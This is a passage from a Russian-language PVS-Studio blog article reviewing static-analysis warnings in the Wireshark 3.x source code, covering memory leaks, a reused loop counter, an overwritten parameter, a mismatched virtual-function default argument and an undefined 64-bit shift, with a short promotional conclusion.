FPRINTF(eth_code, "static int\n");
FPRINTF(eth_code, "....", tmpstr);
FPRINTF(eth_code, "{\n");
FPRINTF(eth_code, " ....", ptmpstr, ti->str);
FPRINTF(eth_code, " return offset;\n");
FPRINTF(eth_code, "}\n");
FPRINTF(eth_code, "\n");
ptmpstr=g_strdup(tmpstr);
}
....
}
```
После функции [*g\_strdup*](https://developer.gnome.org/glib/stable/glib-String-Utility-Functions.html#g-strdup) необходимо в какой-то момент вызывать функцию [*g\_free*](https://developer.gnome.org/glib/stable/glib-Memory-Allocation.html#g-free). В представленном фрагменте кода это не делается, и в цикле на каждой итерации выделяется новый участок оперативной памяти. Возникают множественные утечки памяти.
Ещё несколько предупреждений на похожие фрагменты кода:
* V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2447
* V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2713
* V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2728
* V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2732
* V773 The 'ptmpstr' pointer was assigned values twice without releasing the memory. A memory leak is possible. idl2wrs.c 2745
К сожалению, в коде ещё много других подобных мест, где не освобождается память.
Разное
------
**Предупреждение 1**
V535 The variable 'i' is being used for this loop and for the outer loop. Check lines: 7716, 7798. packet-opa-mad.c 7798
```
/* Parse GetVFInfo MAD from the Performance Admin class. */
static gint parse_GetVFInfo(....)
{
....
for (i = 0; i < records; i++) { // <= line 7716
....
for (i = 0; i < PM_UTIL_BUCKETS; i++) { // <= line 7748
GetVFInfo_Util_Stats_Bucket_item = proto_tree_add_item(....);
proto_item_set_text(....);
local_offset += 4;
}
....
for (i = 0; i < PM_ERR_BUCKETS; i++) { // <= line 7798
GetVFInfo_Error_Stats_Bucket_item = proto_tree_add_item(....);
proto_item_set_text(....);
local_offset += 4;
....
}
....
}
....
}
```
В очень длинной функции разработчики смело изменяют значение счётчика цикла, причём делают это несколько раз. Сложно сказать, является это ошибкой или нет, но подобных циклов в проекте около 10.
**Предупреждение 2**
V763 Parameter 'item' is always rewritten in function body before being used. packet-cdma2k.c 1324
```
static void cdma2k_message_ORDER_IND(proto_item *item, ....)
{
guint16 addRecLen = -1, ordq = -1, rejectedtype = -1;
guint16 l_offset = -1, rsc_mode_ind = -1, ordertype = -1;
proto_tree *subtree = NULL, *subtree1 = NULL;
item = proto_tree_add_item(tree,hf_cdma2k_OrderIndMsg, tvb, ....); // <=
subtree = proto_item_add_subtree(item, ett_cdma2k_subtree1);
....
}
```
Указатель *item*, который принимает функция, сразу перетирается другим значением. Это очень подозрительно. Причём в коде присутствует несколько десятков таких мест, поэтому сложно сказать, ошибка это или нет. Похожий код я ранее встречал в другом большом проекте, там это был верный код, просто никто не решался изменить интерфейс функции.
**Предупреждение 3**
V762 It is possible a virtual function was overridden incorrectly. See third argument of function 'headerData' in derived class 'PacketListModel' and base class 'QAbstractItemModel'. packet\_list\_model.h 48
```
QVariant
QAbstractItemModel::headerData(int section, Qt::Orientation orientation,
int role = Qt::DisplayRole) const // <=
class PacketListModel : public QAbstractItemModel
{
Q_OBJECT
public:
....
QVariant headerData(int section, Qt::Orientation orientation,
int role = Qt::DisplayRole | Qt::ToolTipRole) const; // <=
....
};
```
Анализатор обнаружил некорректную перегрузку функции *headerData*. У функций отличается дефолтное значение параметра *role*. Это может приводить не к тому поведению, которое ожидал программист.
**Предупреждение 4**
V610 Undefined behavior. Check the shift operator '>>'. The right operand ('bitshift' = [0..64]) is greater than or equal to the length in bits of the promoted left operand. proto.c 10941
```
static gboolean
proto_item_add_bitmask_tree(...., const int len, ....)
{
....
if (len < 0 || len > 8)
g_assert_not_reached();
bitshift = (8 - (guint)len)*8;
available_bits = G_GUINT64_CONSTANT(0xFFFFFFFFFFFFFFFF) >> bitshift;
....
}
```
Сдвиг числа на 64 бита приведёт к неопределённому поведению согласно стандарту языка.
Скорее, правильный код должен быть таким:
```
if (bitshift == 64)
available_bits = 0;
else
available_bits = G_GUINT64_CONSTANT(0xFFFFFFFFFFFFFFFF) >> bitshift;
```
Заключение
----------
Может показаться, что в обзоре приведено мало примеров ошибок, но в полном отчёте представленные случаи повторяются десятки и сотни раз. Обзоры предупреждений PVS-Studio носят демонстрационный характер. Это вклад в качество проектов с открытым исходным кодом, но разовые проверки — самый неэффективный способ применения методологии статического анализа.
Вы можете получить и проанализировать полный отчет самостоятельно. Для этого просто необходимо [скачать](https://www.viva64.com/ru/pvs-studio-download/) и запустить анализатор PVS-Studio.
[](https://habr.com/en/company/pvs-studio/blog/447156/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [Wireshark 3.x: code analysis under macOS and errors review](https://habr.com/en/company/pvs-studio/blog/447156/) | https://habr.com/ru/post/447158/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.